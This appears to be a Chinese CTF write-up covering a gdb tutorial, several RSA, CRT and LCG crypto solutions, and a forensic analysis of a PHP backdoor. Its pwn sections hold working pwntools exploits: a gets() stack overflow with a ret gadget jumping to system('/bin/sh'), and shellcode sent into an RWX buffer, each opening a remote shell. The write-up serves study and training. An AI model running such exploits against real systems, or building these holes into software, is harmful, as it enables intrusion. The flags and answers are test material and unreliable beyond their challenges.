print(buf.decode(errors="ignore"), end="")
except socket.timeout:
continue

if __name__ == "__main__":
main()

FLAG

1
flag{3bb9a457-4895-41f0-a625-a076a77dd457}

GNU Debugger

Challenge

进入pwn的世界之后的第一关,了解你的好伙伴gdb

【难度:简单】

这是一个熟悉gdb的好机会,在开始挑战之前,请确保你的电脑已经安装好gdb。

gdb 在绝大部分 Linux 发行版上都已默认安装,你可以在 shell 中输入 gdb 命令进行确认
若你的计算机尚未安装 gdb,则可以使用如下命令进行安装,请自行分辨你所使用的发行版。

Debian / Ubuntu:
sudo apt-get install -y gdb

若你已经提前配置好环境,安装好了pwndbg之类的插件,我推荐使用原生gdb就好了。
这些插件能够看到的信息更多,但是对于没什么基础的你可能不太合适,我们慢慢来就好。
如果你不知道如何取消使用这些插件的话,去~/.gdbinit这个文件里将”source xxx”之类的语句注释掉吧。

题目的流程为:

  1. 启动靶机获得端口和ip
  2. 启动程序: ./gdb_challenge (假设你已经在这个程序所在的目录)
  3. 进行一系列的gdb挑战
  4. 完成所有挑战,得到flag

ps: 这题暂时用不到ida哦,推荐直接执行程序,跟着流程来就好啦。不过也可以通过逆向工程来得到flag ^^

Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
┌──(kali㉿kali)-[~/Desktop]
└─$ ./gdb_challenge
###输入 run <ip> <端口> 开始游戏, 其中ip和端口通过开启容器得到###

###使用示例 run 127.0.0.1 7777###

###按下 ctrl + c 断开连接###

Reading symbols from ./gdb_challenge...
(No debugging symbols found in ./gdb_challenge)
(gdb) run 47.94.87.199 34825
Starting program: /home/kali/Desktop/gdb_challenge 47.94.87.199 34825
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
###
向导加入了队伍。.

向导:
欢迎打开PWN的大门,我是向导,来到这里的第一次考验,本关考验你和你的搭档GDB (GNU Debugger)的契合程度,毕竟在PWN的世界中离开了GDB就无法生存了呢。。。
当然了设置这道关卡的人没给调试信息,所以在 dbg (debug) 的过程中你或许会看到一些来自gdb的输出提示,这些都是无关要紧的,让我们开始吧
完成4个关卡后就能得到flag咯
--- 关卡 1: 已验丁真 ---
向导:
我放了一个随机数在'r12'寄存器里面哦, 你可以借助GDB的力量一眼丁真吗?
找到r12的16进制值就按下c(continue)来告诉我答案吧!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000555555555530 in stage_0_register_check ()
(gdb) p/x $r12
$1 = 0x41c4d520553a142e
(gdb) c
Continuing.
向导:
r12寄存器里面装着什么呢?好难猜啊, 记住我要16进制数字捏,例如0x114之类的数字:
0x41c4d520553a142e
向导:
正解! 下一关咯

--- 关卡 2: 义眼丁真 ---
向导:
这次是内存捏, 我留了一句话在某个地方捏.
偷偷告诉你这个地方在哪里QwQ -> 0x555555557c27
猜猜我要对你说什么。找到了就按下c(continue)来告诉我答案吧!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x00005555555556a3 in stage_1_memory_check ()
(gdb) x/s 0x555555557c27
0x555555557c27: "GDB_IS_POWERFUL"
(gdb) c
Continuing.
向导:
你找到了吗QwQ,告诉我你找到了什么:
GDB_IS_POWERFUL
向导:
正解! 下一关!.

--- 关卡 3: 犹豫丁真 ---
向导:
啊,程序中有个函数跑得太快了,他的身上有最后一关的钥匙!我们要抓住他,用GDB让他停下来!
如果没能抓住他的话,我们就没办法继续往前走了.
让他停下来拿到钥匙之后,按下一次c把钥匙拿过来,然后再次按下c继续我们的旅程吧. 注意需要慢慢来,不要按得这么快哦

偷偷告诉你这个函数在 -> 0x555555555779

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0000555555555813 in stage_2_breakpoint_check ()
(gdb) b *0x555555555779
Breakpoint 1 at 0x555555555779
(gdb) c
Continuing.

Breakpoint 1, 0x0000555555555779 in function_to_break_on ()
(gdb) c
Continuing.
向导:
他停下来了! 在这个函数身上找到了最后一关的钥匙.
接下来是最后一关了哦.

--- 关卡 4: 应用丁真 ---
来到最后一关了,由于环境影响,已经听不清楚向导说的话了。
向导:
我们的 '(&*(……¥*&¥#!¥&……*&*&!@¥#' 现在只有 1 个.....但是要过关的话一共需要 0xdeadbeef 个
你知道葫芦侠的传说吗,好在GDB有一个强大的功能,他可以*&¥&@34#! 改.
地$^&!$址 -> 0x7fffffffd9b4 …*&

Program received signal SIGTRAP, Trace/breakpoint trap.
0x000055555555598c in stage_3_state_modification ()
(gdb) set {int}0x7fffffffd9b4 = 0xdeadbeef
(gdb) c
Continuing.
向导离开了队伍。.

[*] Initializing security protocols...
[+] 世界上即将增加一个PWN高手了捏
[+] FLAG : flag{175e6046-5260-47a3-8ed1-e6265c6791d2}

[Inferior 1 (process 9104) exited normally]

FLAG

1
flag{175e6046-5260-47a3-8ed1-e6265c6791d2}

overflow

Challenge

咦?程序好像有后门,但是执行不到怎么办呢

【难度:中等】

Solution

  1. main 函数: 程序入口点,依次调用 init show try

  2. try 函数: 漏洞利用的核心

    1
    2
    3
    4
    5
    6
    7
    8
    void __cdecl try()
    {
    char buffer[256]; // 栈上分配 256 字节的缓冲区
    memset(buffer, 0, sizeof(buffer));
    puts("Now,Try to exploit it as I done and get the shell!");
    puts("Enter your input:");
    gets(buffer); // 存在明显的栈溢出漏洞
    }

    该函数使用 gets 读取用户输入,gets 不对输入长度进行检查,因此当输入超过 256 字节时,就会覆盖栈上 buffer 相邻的高地址数据,包括保存的 RBP 寄存器值和函数返回地址。

  3. backd00r 函数: 攻击目标

    1
    2
    3
    4
    5
    6
    void __cdecl backd00r()
    {
    puts("Congratulations! You have found the backdoor!");
    puts("You can now execute any command you want.");
    system("/bin/sh"); // 执行 system("/bin/sh"),提供一个 shell
    }

    该函数提供一个 shell,但程序正常流程中并未调用它,目标就是通过栈溢出劫持程序执行流然后使其跳转到这个函数。

  4. 确定偏移量:
    在 x86-64 架构下,try 函数的栈帧布局大致如下:

    1
    2
    3
    4
    高地址  ->  [返回地址 (8字节)]
    [保存的 RBP (8字节)]
    [char buffer[256]] <- gets 写入的起始位置
    低地址 -> ...

    要覆盖返回地址我们需要填充 buffer 的 256 字节,再加上保存的 RBP 的 8 字节,因此覆盖返回地址的偏移量为 256 + 8 = 264 字节。

  5. 解决栈对齐问题:
    在 x86-64 Linux ABI 中调用 system 等函数时要求栈指针(RSP)必须是 16 字节对齐的。当 main call try 时,栈已经是不对齐的(16n - 8)。如果我们直接 retbackd00r,栈依然是不对齐的,会导致 system 调用失败。
    为了解决这个问题,我们在跳转到 backd00r 之前先跳转到一个 ret 指令,这个 ret 指令会从栈上弹出一个地址(即 backd00r 地址),使 RSP 增加 8 字节,从而将栈恢复到 16 字节对齐的状态。

  6. 构建 Payload:
    最终的 payload 结构如下:
    [填充数据 (264字节)] + [ret Gadget 地址] + [backd00r 函数地址]

在开始编写脚本前还需要确定 ret gadget 和 backd00r 函数的精确地址

  1. 检查保护机制:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ┌──(kali㉿kali)-[~/Desktop]
    └─$ checksec ./overflow
    [*] '/home/kali/Desktop/overflow'
    Arch: amd64-64-little
    RELRO: Partial RELRO
    Stack: No canary found
    NX: NX unknown - GNU_STACK missing
    PIE: No PIE (0x400000)
    Stack: Executable
    RWX: Has RWX segments
    Stripped: No
    Debuginfo: Yes

    关键信息是 No PIE,这意味着程序的内存地址是固定的,我们可以直接使用静态分析得到的地址。

  2. 使用 pwntools 自动查找:
    我们可以利用 pwntools 库方便地从 ELF 文件中提取所需地址。

    • backd00r 地址: elf.symbols['backd00r']
    • ret Gadget 地址: ROP(elf).find_gadget(['ret']).address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python3
from pwn import *

# 设置目标二进制文件上下文
context.binary = elf = ELF('./overflow')
# 设置日志等级
context.log_level = 'info'

# 连接信息
HOST = '8.147.132.32'
PORT = 25071

# 寻找所需地址
rop = ROP(elf)
RET_GADGET = rop.find_gadget(['ret']).address
BACKDOOR_ADDR = elf.symbols['backd00r']

# 确定覆盖返回地址的偏移量
OFFSET = 256 + 8

# 打印关键地址信息用于调试确认
log.info(f"Using ret gadget at: {hex(RET_GADGET)}")
log.info(f"Jumping to backd00r at: {hex(BACKDOOR_ADDR)}")
log.info(f"Calculated offset: {OFFSET}")

io = remote(HOST, PORT)

# 构造 payload
# 填充数据 -> ret gadget (用于栈对齐) -> backd00r 函数
payload = flat([
b'A' * OFFSET,
p64(RET_GADGET),
p64(BACKDOOR_ADDR)
])

io.recvuntil(b'Enter your input:\n')

io.sendline(payload)
log.success("Payload sent successfully!")

io.interactive()

FLAG

1
flag{2a7429ab-6c6c-4db1-b8bd-8ed029f9c1fa}

input_function

Challenge

什么?要输入一个函数?

【难度:困难】

Solution

先看主函数

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *buf; // [rsp+8h] [rbp-8h]

init(argc, argv, envp);
buf = mmap((void *)0x114514, 0x1000u, 7, 34, -1, 0);
puts("please input a function(after compile)");
read(0, buf, 0x500u);
((void (*)(void))buf)();
return 0;
}
  • mmap:程序使用 mmap 系统调用来分配一块内存
    • addr: (void *)0x114514,这是一个固定的地址,这意味着无论程序怎么运行,这块内存总是在 0x114514 这个位置。
    • prot: 7。在 Linux 中,内存保护标志是位掩码:PROT_READ (4) | PROT_WRITE (2) | PROT_EXEC (1)。4 + 2 + 1 = 7,所以这块内存的权限是 可读、可写、可执行 (RWX)
  • read:程序从标准输入读取最多 0x500 字节的数据,并直接存放到刚刚 mmap 出来的 buf 内存区域中。
  • ((void (*)(void))buf)():程序将 buf 的地址强制转换为一个函数指针,然后直接调用(跳转到)它。

结论:这个程序给了我们一块固定地址、权限为 RWX 的内存,并且允许我们向其中写入任意代码,然后直接跳转过去执行,因此我们只需要提供一段 shellcode 就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch='amd64', os='linux')

HOST = '8.147.132.32'
PORT = 18280

# 1. 生成 shellcode
shellcode = asm(shellcraft.sh())

io = remote(HOST, PORT)

io.recvuntil(b'please input a function(after compile)\n')

# 2. 发送 shellcode
io.send(shellcode)
log.success("Shellcode sent!")

io.interactive()

FLAG

1
flag{fd4083c1-c401-4a1c-845e-01af917f7f21}

Crypto

唯一表示

Challenge

不要把鸡蛋放在同一个篮子里

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from sympy.ntheory.modular import crt
from Crypto.Util.number import bytes_to_long
from sympy import primerange
import uuid

# 生成素数列表
primes = list(primerange(2, 114514))

# 生成随机 flag,并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

def fun(n: int):
"""
给定整数 n,返回它对若干个素数模的余数列表,
直到用这些余数和模数 CRT 重建出的值恰好等于 n。
"""
used_primes = [2] # 当前使用的素数列表,先用 2 开始
prime_index = 1 # primes[0] 已用,从 primes[1] 开始
while True:
# 计算 n 对当前所有模数的余数
remainders = [n % p for p in used_primes]

# 用 CRT 尝试重建 n
reconstructed, _ = crt(used_primes, remainders)

# 如果重建成功,返回余数列表
if reconstructed == n:
return remainders

# 否则继续添加新的素数,扩大模数集合
used_primes.append(primes[prime_index])
prime_index += 1

# 计算 message_int 的余数表示
c = fun(message_int)

print(c)


"""
[1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]
"""

Solution

  1. 生成素数:脚本首先生成了一个从 2 到 114514 之间的所有素数的列表,这个列表是固定的
  2. 转换 Flag:脚本生成一个随机的 flag,并使用 bytes_to_long 将其转换为一个非常大的整数 message_int
  3. 核心函数 fun
    • 接收整数 n(也就是 message_int)。
    • 从一个仅包含素数 [2] 的模数列表 used_primes 开始
    • 进入一个循环,不断地从主素数列表 primes 中添加新的素数到 used_primes
    • 在每次循环中计算 n 对当前 used_primes 列表里所有素数的余数
    • 使用中国剩余定理(CRT),根据当前的模数(used_primes)和余数(remainders)重构一个数
    • 当重构出的数 reconstructed 恰好等于原始的 n 时循环终止并返回当前的余数列表

中国剩余定理(CRT)的核心在于,对于一组互质的模数 M = p1 * p2 * ... * pk,它能找到一个在模 M 意义下唯一的解,sympy.crt 函数返回的是满足条件的最小非负整数解

reconstructed == n 这个条件只有在 n 小于所有模数的乘积 M 时才会成立,如果 n 大于或等于 M,那么 CRT 返回的结果将是 n % M,这显然不等于 n

因此 fun 函数的循环本质上是在寻找一个最小的初始素数集合使得这些素数的乘积刚好大于 message_int

解题步骤如下:

  1. 脚本的输出 c 是最终的余数列表,这个列表的长度 len(c) 告诉我们脚本总共使用了多少个素数,重新生成和原脚本一模一样的素数列表
  2. 用于最后一次 CRT 计算的模数(moduli)就是我们生成的素数列表中的前 len(c) 个素数
  3. 现在已知模数(前 len(c) 个素数)和余数(列表 c),我们可以再次使用 CRT 来精确地解出原始的 message_int
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from sympy.ntheory.modular import crt
from Crypto.Util.number import long_to_bytes
from sympy import primerange

c = [1, 2, 2, 4, 0, 2, 11, 11, 8, 23, 1, 30, 35, 0, 18, 30, 55, 60, 29, 42, 8, 13, 49, 11, 69, 26, 8, 73, 84, 67, 100, 9, 77, 72, 127, 49, 57, 74, 70, 129, 146, 45, 35, 180, 196, 101, 100, 146, 100, 194, 2, 161, 35, 155]

# 1. 生成素数列表
all_primes = list(primerange(2, 114514))

# 2. 根据输出 c 的长度确定使用的素数数量
num_primes_used = len(c)
print(f"使用的素数数量: {num_primes_used}")

# 3. 获取模数列表(也就是素数列表的前 num_primes_used 个)
moduli = all_primes[:num_primes_used]

# 4. 使用中国剩余定理,根据已知的模数和余数来重构原始整数
# 我们要求解的同余方程组是:
# message_int ≡ remainders[0] (mod moduli[0])
# message_int ≡ remainders[1] (mod moduli[1])
# ...
message_int, _ = crt(moduli, c)

print(f"重构出的整数: {message_int}")

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode()
print(flag)
1
2
3
使用的素数数量: 54
重构出的整数: 56006392793407635010269894324071027836182028746326229271331328895596420941873678122985250345057530237
flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}

FLAG

1
flag{9c8589c2-aecb-4ec4-b027-654bc322e2d1}

小跳蛙

Challenge

青蛙会跳到哪里去呢?

【难度:中等】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
banner = """
Welcome to Cathylin's cryptography learning platform, where we learn an algorithm through an interesting problem.

There is a frog on the grid point (a, b). When a > b, it will jump to (a-b, b); when a < b, it will jump to (a, b-a); and when a = b, it will stay where it is.

Next, I will provide five sets of (a, b), and please submit the final position (x, y) of the frog in sequence

If you succeed, I will give you a mysterious flag.
"""
print(banner)

import re
import random
from secret import flag


cnt = 0
while cnt < 5:
a = random.randint(1, 10**(cnt+1))
b = random.randint(1, 10**(cnt+1))
print( str(cnt+1) + ".(a,b) is: (" + str(a) + "," + str(b) + ")")
user_input = input("Please input the final position of the frog (x,y) :")
pattern = r'[()]?(\d+)[,\s]+(\d+)[)]?'
match = re.match(pattern, user_input.strip())
if match:
x, y = map(int, match.groups())
else:
print("Unable to parse the input. Please check the format and re-enter")
continue

original_a, original_b = a, b
while a != b:
if a > b:
a = a - b
else:
b = b - a

if x == a and y == b:
print("Congratulations, you answered correctly! Keep going for " + str(4-cnt) + " more times and you will get the mysterious flag!")
cnt += 1
else:
print("Unfortunately, you answered incorrectly. The correct answer is({}, {}). Please start learning again".format(a, b))
break

if cnt == 5:
print("Congratulations, you answered all the questions correctly!")
print("Mysterious Flag:" + flag)

Solution

连接到服务器后会收到一段欢迎信息,其中描述了游戏规则:

一只青蛙在格点 (a, b) 上。

  • a > b,它会跳到 (a-b, b)
  • a < b,它会跳到 (a, b-a)
  • a = b,它会停留在原地

服务器会连续给出 5 组不同的 (a, b),我们需要计算出青蛙最终停留的位置 (x, y) 并提交

这个规则正是计算最大公约数的经典算法:欧几里得算法(辗转相减法)

也就是说:对于任意给定的 (a, b),青蛙最终停留的位置 (x, y) 就是 (gcd(a, b), gcd(a, b))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import re
import math

context.log_level = 'info'
HOST = '8.147.132.32'
PORT = 37713

p = remote(HOST, PORT)

# 循环 5 次来回答问题
for i in range(5):
# 1. 等待接收到 "is: (",确保解析的是真实的数字坐标
p.recvuntil(b'is: (')

# 2. 接收到 ')' 为止,并用 drop=True 去掉末尾的 ')'
coords_bytes = p.recvuntil(b')', drop=True)
coords_str = coords_bytes.decode()
log.info(f"第 {i+1} 轮: 收到坐标字符串: '{coords_str}'")

# 使用正则表达式提取数字
match = re.search(r'(\d+),\s*(\d+)', coords_str)
if not match:
log.error("解析坐标失败")
p.close()
exit(1)

a = int(match.group(1))
b = int(match.group(2))
log.info(f"解析出 (a, b) = ({a}, {b})")

# 3. 计算最大公约数 (GCD)
result_gcd = math.gcd(a, b)
log.success(f"计算出 GCD = {result_gcd}")

# 4. 发送答案
answer = f"({result_gcd}, {result_gcd})"
p.sendline(answer.encode())
log.info(f"已发送答案: {answer}")

# 5. 获取 Flag
p.recvuntil(b"Mysterious Flag:")
flag = p.recvline().strip().decode()
log.success(flag)

p.close()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[*] 第 1 轮: 收到坐标字符串: '5,9'
[*] 解析出 (a, b) = (5, 9)
[+] 计算出 GCD = 1
[*] 已发送答案: (1, 1)
[*] 第 2 轮: 收到坐标字符串: '24,12'
[*] 解析出 (a, b) = (24, 12)
[+] 计算出 GCD = 12
[*] 已发送答案: (12, 12)
[*] 第 3 轮: 收到坐标字符串: '733,317'
[*] 解析出 (a, b) = (733, 317)
[+] 计算出 GCD = 1
[*] 已发送答案: (1, 1)
[*] 第 4 轮: 收到坐标字符串: '3094,9104'
[*] 解析出 (a, b) = (3094, 9104)
[+] 计算出 GCD = 2
[*] 已发送答案: (2, 2)
[*] 第 5 轮: 收到坐标字符串: '38083,37819'
[*] 解析出 (a, b) = (38083, 37819)
[+] 计算出 GCD = 1
[*] 已发送答案: (1, 1)
[+] flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}

FLAG

1
flag{Go0d_j0b_t0_Cl34r_thi5_Diff3r3nt_t45k_4_u}

初识RSA

Challenge

好像很标准,又好像不太标准(md5码怎么解呢?好像有在线工具)

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Util.number import *
import hashlib

key=b'??????'
assert len(key)==6
KEY = hashlib.md5(key).hexdigest().encode()
print('KEY=',KEY)

flag=b'flag{?????????????}'

m=bytes_to_long(flag)

e=65537
p=getPrime(512)
q=getPrime(512)
n=pow(p,3)* pow(q,2)
c=pow(m,e,n)

P=p^(bytes_to_long(key))

print("P=",P)
print("n=",n)
print("c=",c)

'''
KEY = b'5ae9b7f211e23aac3df5f2b8f3b8eada'
P= 8950704257708450266553505566662195919814660677796969745141332884563215887576312397012443714881729945084204600427983533462340628158820681332200645787691506
n= 44446616188218819786207128669544260200786245231084315865332960254466674511396013452706960167237712984131574242297631824608996400521594802041774252109118569706894250996931000927100268277762882754652796291883967540656284636140320080424646971672065901724016868601110447608443973020392152580956168514740954659431174557221037876268055284535861917524270777789465109449562493757855709667594266126482042307573551713967456278514060120085808631486752297737122542989222157016105822237703651230721732928806660755347805734140734412060262304703945060273095463889784812104712104670060859740991896998661852639384506489736605859678660859641869193937584995837021541846286340552602342167842171089327681673432201518271389316638905030292484631032669474635442148203414558029464840768382970333
c= 42481263623445394280231262620086584153533063717448365833463226221868120488285951050193025217363839722803025158955005926008972866584222969940058732766011030882489151801438753030989861560817833544742490630377584951708209970467576914455924941590147893518967800282895563353672016111485919944929116082425633214088603366618022110688943219824625736102047862782981661923567377952054731667935736545461204871636455479900964960932386422126739648242748169170002728992333044486415920542098358305720024908051943748019208098026882781236570466259348897847759538822450491169806820787193008018522291685488876743242619977085369161240842263956004215038707275256809199564441801377497312252051117441861760886176100719291068180295195677144938101948329274751595514805340601788344134469750781845
'''

Solution

  1. 寻找 key:在 md5在线解密破解 查询得到 crypto 的 md5 的值为 5ae9b7f211e23aac3df5f2b8f3b8eada,因此原始的 6 字节 key 就是 b'crypto'
  2. 寻找 p:脚本中有一个非常关键的线索:P = p ^ (bytes_to_long(key))
    • XOR(异或)运算有一个特性:A ^ B = C 那么 A = C ^ B
    • 我们现在知道了 keyP 的值,所以我们可以通过 p = P ^ bytes_to_long(key) 来直接计算出 p
  3. 寻找 q:脚本中定义了RSA模数 n = p^3 * q^2
    • 既然我们已经通过上一步计算出了p,我们就可以计算p^3
    • 然后我们可以通过 q^2 = n // p^3 来得到q的平方
    • 最后对q^2开方就可以得到q
  4. 计算欧拉函数 phi(n):对于标准的n = p * qphi(n) = (p-1)*(q-1)。但在这里,n = p^3 * q^2,所以我们需要使用欧拉函数的通用性质:
    • phi(a*b) = phi(a) * phi(b) (当a, b互质时)
    • phi(p^k) = p^k - p^(k-1) = p^(k-1) * (p-1)
    • 因此,phi(n) = phi(p^3 * q^2) = phi(p^3) * phi(q^2)
    • phi(p^3) = p^2 * (p-1)
    • phi(q^2) = q * (q-1)
    • 所以,phi(n) = (p^2 * (p-1)) * (q * (q-1))
  5. 计算私钥 d:私钥 d 是公钥 e 关于 phi(n) 的模逆元
    • d * e ≡ 1 (mod phi(n))
    • 我们可以用 d = pow(e, -1, phi(n)) 来计算
  6. 解密消息 m: 有了私钥 d 我们就可以对密文 c 进行解密
    • m = pow(c, d, n)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from Crypto.Util.number import bytes_to_long, long_to_bytes
from math import isqrt

P = ...
n = ...
c = ...
e = 65537

# --- 步骤 1: 确定 key ---
key = b'crypto'
print(f"[+] Found key: {key}")

# --- 步骤 2: 计算 p ---
key_long = bytes_to_long(key)
p = P ^ key_long
print(f"[+] Calculated p successfully.")

# --- 步骤 3: 计算 q ---
p_cubed = pow(p, 3)
# 确保 n 可以被 p^3 整除
assert n % p_cubed == 0
q_squared = n // p_cubed

# 使用整数开方计算 q
q = isqrt(q_squared)
# 验证 q^2 是否等于我们计算出的 q_squared
assert pow(q, 2) == q_squared
print(f"[+] Calculated q successfully.")

# --- 步骤 4: 计算 phi(n) ---
phi_n = (pow(p, 2) * (p - 1)) * (q * (q - 1))
print(f"[+] Calculated phi(n) successfully.")

# --- 步骤 5: 计算私钥 d ---
d = pow(e, -1, phi_n)
print(f"[+] Calculated private key d successfully.")

# --- 步骤 6: 解密消息 m ---
m = pow(c, d, n)
print(f"[+] Decrypted message m successfully.")

# --- 步骤 7: 还原 flag ---
flag = long_to_bytes(m)
print(flag.decode())
1
2
3
4
5
6
7
[+] Found key: b'crypto'
[+] Calculated p successfully.
[+] Calculated q successfully.
[+] Calculated phi(n) successfully.
[+] Calculated private key d successfully.
[+] Decrypted message m successfully.
flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}

FLAG

1
flag{W3lc0me_t0_4h3_w0rl4_0f_Cryptoooo!}

随机数之旅1

Challenge

真正的大中衔接belike:

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import uuid
from Crypto.Util.number import getPrime, bytes_to_long
import random

# 生成随机 flag 并转换为整数
flag = "flag{" + str(uuid.uuid4()) + "}"
message_int = bytes_to_long(flag.encode())

# 生成两个素数:
# p 的比特长度比 message_int 略大
# a 的比特长度和 p 相同
p = getPrime(message_int.bit_length() + 3)
a = getPrime(p.bit_length())

print(f"a = {a}")
print(f"p = {p}")

# hint 序列:以随机数为起点,按递推关系生成 5 次
# hint[i+1] = (a * hint[i] + message_int) mod p
hint_values = [random.randint(1, p - 1)]

for _ in range(5):
next_value = (a * hint_values[-1] + message_int) % p
hint_values.append(next_value)

print("hint =", hint_values)

"""
a = 295789025762601408173828135835543120874436321839537374211067344874253837225114998888279895650663245853
p = 516429062949786265253932153679325182722096129240841519231893318711291039781759818315309383807387756431
hint = [184903644789477348923205958932800932778350668414212847594553173870661019334816268921010695722276438808, 289189387531555679675902459817169546843094450548753333994152067745494929208355954578346190342131249104, 511308006207171169525638257022520734897714346965062712839542056097960669854911764257355038593653419751, 166071289874864336172698289575695453201748407996626084705840173384834203981438122602851131719180238215, 147110858646297801442262599376129381380715215676113653296571296956264538908861108990498641428275853815, 414834276462759739846090124494902935141631458647045274550722758670850152829207904420646985446140292244]

"""

Solution

  1. 已知信息:乘数 a,模数 p,一个由 LCG 生成的序列 hint

  2. 未知信息:增量 message_int (也就是 m),它代表了 flag

  3. 核心公式hint[i+1] = (a * hint[i] + message_int) % p

我们的目标是解出 message_int,由于我们已经知道了 ap,因此这变成了一个非常简单的代数问题

我们可以从 hint 列表中取出任意两个连续的元素,比如 hint[0]hint[1],然后将它们代入核心公式:

hint[1] = (a * hint[0] + message_int) % p

这是一个关于 message_int 的一次同余方程,我们可以直接移项来求解 message_int

message_int = (hint[1] - a * hint[0]) % p

计算步骤:

  1. hint 列表中取出 hint[0]hint[1]
  2. 计算 a * hint[0]
  3. hint[1] 中减去上一步的结果
  4. 将最终结果对 p 取模,得到 message_int
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes

a = ...
p = ...
hint = ...

# 1. 从 hint 列表中取出前两个元素
h0 = hint[0]
h1 = hint[1]

# 2. 根据公式 message_int = (hint[1] - a * hint[0]) mod p 求解
# Python 的 % 运算符能正确处理负数取模,所以可以直接计算
message_int = (h1 - a * h0) % p
print(f"[*] 成功恢复 message_int: m = {message_int}")

flag_bytes = long_to_bytes(message_int)
flag = flag_bytes.decode('utf-8')
print(flag)
1
2
[*] 成功恢复 message_int: m = 56006392793428429658174402239819000060300656649754549632005403493317815055195551066672537705480730237
flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}

FLAG

1
flag{c3bc3ead-01e3-491b-aa2d-d2f042449fd6}

Sagemath使用指哪?

Challenge

使用Sagemath运行程序以获得flag

【难度:简单】

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Sage 9.3

key=1
G = PSL(2, 11)
key*=G.order()
G = CyclicPermutationGroup(11)
key*=G.order()
G = AlternatingGroup(114)
key*=G.order()
G = PSL(4, 7)
key*=G.order()
G = PSU(3, 4)
key*=G.order()
G = MathieuGroup(12)
key*=G.order()

c=91550542840025722520458836108112308924742424464072171170891749838108012046397534151231852770095499011

key=(int(str(bin(key))[2:][0:42*8],2))
m=c^^key
f=[]
while m>0:
x=m%256
f.append(chr(x))
m//=256
f.reverse()
flag="".join(i for i in f )
print(flag)

Solution

直接用 sage 运行就行

1
2
3
(sage) ┌──(kali㉿kali)-[~/Desktop]
└─$ sage sagematch.sage
flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}

FLAG

1
flag{e142d08c-7e7d-43ed-b5ad-af51ffc512ee}

Week 2

Misc

星期四的狂想

Challenge

怎么又是星期四,一到星期四群里就出现了各种稀奇古怪的星期四文案。最近 null 的服务器被人植入了星期四文案,让 null 甚是苦恼。好在他把流量截取下来了,你来帮他看看吧。

【难度:困难】

Solution

攻击链条分析:

  1. 文件准备: 攻击者先后上传了 chickenvivo50.php (函数库), crazy.php (读取、混淆flag), index.php (攻击入口和触发器)。
  2. 触发攻击 (Frame 519): 攻击者向 /uploads/?cmd=ThURSDAY 发起了一个 POST 请求。
    • URL参数:cmd=ThURSDAY
    • POST内容:file=crazy.php
  3. 后门执行逻辑:
    • 服务器执行 index.php
    • index.php 包含了 chickenvivo50.php
    • index.php 通过 require_once($_POST["file"]) 包含了 crazy.php
    • crazy.php 执行后读取服务器根目录下的 /flag 文件,对其内容进行混淆(随机反转或ROT13加密),然后存入一个全局变量 $GLOBALS['ThURSDAY']
    • index.php 接着执行 code($_GLOBALS[$_GET['cmd']]),即 code($GLOBALS['ThURSDAY'])
    • code() 函数将混淆后的 flag 进行 Base64 编码,并构造成一个 HTTP Cookie 头
    • 最后 getFunction("vivo") (映射到 header 函数) 将这个构造好的 Cookie 头发送出去
